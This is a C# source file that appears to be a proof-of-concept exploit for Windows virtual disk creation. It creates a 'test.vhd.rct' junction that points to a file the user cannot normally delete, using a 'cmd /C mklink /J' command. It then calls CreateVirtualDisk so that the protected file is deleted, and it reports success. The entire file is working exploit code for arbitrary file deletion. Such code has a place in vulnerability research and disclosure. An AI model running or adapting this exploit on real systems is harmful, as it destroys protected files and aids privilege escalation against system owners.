using Microsoft.Win32.SafeHandles;
|
using System;
|
using System.ComponentModel;
|
using System.Diagnostics;
|
using System.IO;
|
using System.Runtime.InteropServices;
|
|
namespace DfscTest
|
{
|
class Program
|
{
|
enum StorageDeviceType
|
{
|
Unknown = 0,
|
Iso = 1,
|
Vhd = 2,
|
Vhdx = 3,
|
VhdSet = 4,
|
}
|
|
[StructLayout(LayoutKind.Sequential)]
|
struct VirtualStorageType
|
{
|
public StorageDeviceType DeviceId;
|
public Guid VendorId;
|
}
|
|
enum OpenVirtualDiskFlag
|
{
|
None = 0,
|
NoParents = 1,
|
BlankFile = 2,
|
BootDrive = 4,
|
CachedIo = 8,
|
DiffChain = 0x10,
|
ParentcachedIo = 0x20,
|
VhdSetFileOnly = 0x40,
|
}
|
|
enum CreateVirtualDiskVersion
|
{
|
Unspecified = 0,
|
Version1 = 1,
|
Version2 = 2,
|
Version3 = 3,
|
}
|
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
struct CreateVirtualDiskParameters
|
{
|
public CreateVirtualDiskVersion Version;
|
public Guid UniqueId;
|
public ulong MaximumSize;
|
public uint BlockSizeInBytes;
|
public uint SectorSizeInBytes;
|
public uint PhysicalSectorSizeInBytes;
|
[MarshalAs(UnmanagedType.LPWStr)]
|
public string ParentPath;
|
[MarshalAs(UnmanagedType.LPWStr)]
|
public string SourcePath;
|
// Version 2 on
|
public OpenVirtualDiskFlag OpenFlags;
|
public VirtualStorageType ParentVirtualStorageType;
|
public VirtualStorageType SourceVirtualStorageType;
|
public Guid ResiliencyGuid;
|
// Version 3 on
|
[MarshalAs(UnmanagedType.LPWStr)]
|
public string SourceLimitPath;
|
public VirtualStorageType BackingStorageType;
|
}
|
|
enum VirtualDiskAccessMask
|
{
|
None = 0,
|
AttachRo = 0x00010000,
|
AttachRw = 0x00020000,
|
Detach = 0x00040000,
|
GetInfo = 0x00080000,
|
Create = 0x00100000,
|
MetaOps = 0x00200000,
|
Read = 0x000d0000,
|
All = 0x003f0000
|
}
|
|
enum CreateVirtualDiskFlag
|
{
|
None = 0x0,
|
FullPhysicalAllocation = 0x1,
|
PreventWritesToSourceDisk = 0x2,
|
DoNotcopyMetadataFromParent = 0x4,
|
CreateBackingStorage = 0x8,
|
UseChangeTrackingSourceLimit = 0x10,
|
PreserveParentChangeTrackingState = 0x20,
|
}
|
|
[DllImport("virtdisk.dll", CharSet=CharSet.Unicode)]
|
static extern int CreateVirtualDisk(
|
[In] ref VirtualStorageType VirtualStorageType,
|
string Path,
|
VirtualDiskAccessMask VirtualDiskAccessMask,
|
[In] byte[] SecurityDescriptor,
|
CreateVirtualDiskFlag Flags,
|
uint ProviderSpecificFlags,
|
[In] ref CreateVirtualDiskParameters Parameters,
|
IntPtr Overlapped,
|
out IntPtr Handle
|
);
|
|
static Guid GUID_DEVINTERFACE_SURFACE_VIRTUAL_DRIVE = new Guid("2E34D650-5819-42CA-84AE-D30803BAE505");
|
static Guid VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT = new Guid("EC984AEC-A0F9-47E9-901F-71415A66345B");
|
|
static SafeFileHandle CreateVHD(string path)
|
{
|
VirtualStorageType vhd_type = new VirtualStorageType();
|
vhd_type.DeviceId = StorageDeviceType.Vhd;
|
vhd_type.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
|
|
CreateVirtualDiskParameters ps = new CreateVirtualDiskParameters();
|
ps.Version = CreateVirtualDiskVersion.Version1;
|
ps.SectorSizeInBytes = 512;
|
ps.MaximumSize = 100 * 1024 * 1024;
|
IntPtr hDisk;
|
int error = CreateVirtualDisk(ref vhd_type, path, VirtualDiskAccessMask.All, null, CreateVirtualDiskFlag.None, 0, ref ps, IntPtr.Zero, out hDisk);
|
if (error != 0)
|
{
|
throw new Win32Exception(error);
|
}
|
|
return new SafeFileHandle(hDisk, true);
|
}
|
|
static void Main(string[] args)
|
{
|
try
|
{
|
if (args.Length < 1)
|
{
|
Console.WriteLine(@"[USAGE]: poc file\to\delete");
|
Environment.Exit(1);
|
}
|
|
string delete_path = Path.GetFullPath(args[0]);
|
|
if (!File.Exists(delete_path))
|
{
|
Console.WriteLine("[ERROR]: Specify a valid file to delete");
|
Environment.Exit(1);
|
}
|
|
try
|
{
|
File.Delete(delete_path);
|
Console.WriteLine("[ERROR]: Could already delete file, choose one which you normally can't delete");
|
Environment.Exit(1);
|
}
|
catch
|
{
|
}
|
|
string vhd_path = Path.GetFullPath("test.vhd");
|
File.Delete(vhd_path);
|
try
|
{
|
Directory.Delete(vhd_path + ".rct");
|
}
|
catch
|
{
|
}
|
|
Console.WriteLine("[INFO]: Creating VHD {0}", vhd_path);
|
string cmdline = String.Format("/C mklink /J \"{0}.rct\" \"{1}\"", vhd_path, args[0]);
|
ProcessStartInfo start_info = new ProcessStartInfo("cmd", cmdline);
|
start_info.UseShellExecute = false;
|
|
Process p = Process.Start(start_info);
|
p.WaitForExit();
|
if (p.ExitCode != 0)
|
{
|
Console.WriteLine("[ERROR]: Can't create symlink");
|
Environment.Exit(1);
|
}
|
|
using (SafeFileHandle handle = CreateVHD(vhd_path))
|
{
|
}
|
|
if (File.Exists(delete_path))
|
{
|
Console.WriteLine("[ERROR]: Didn't delete arbitrary file");
|
}
|
else
|
{
|
Console.WriteLine("[SUCCESS]: Deleted arbitary file");
|
}
|
}
|
catch (Exception ex)
|
{
|
Console.WriteLine("[ERROR]: {0}", ex.Message);
|
}
|
}
|
}
|
}
|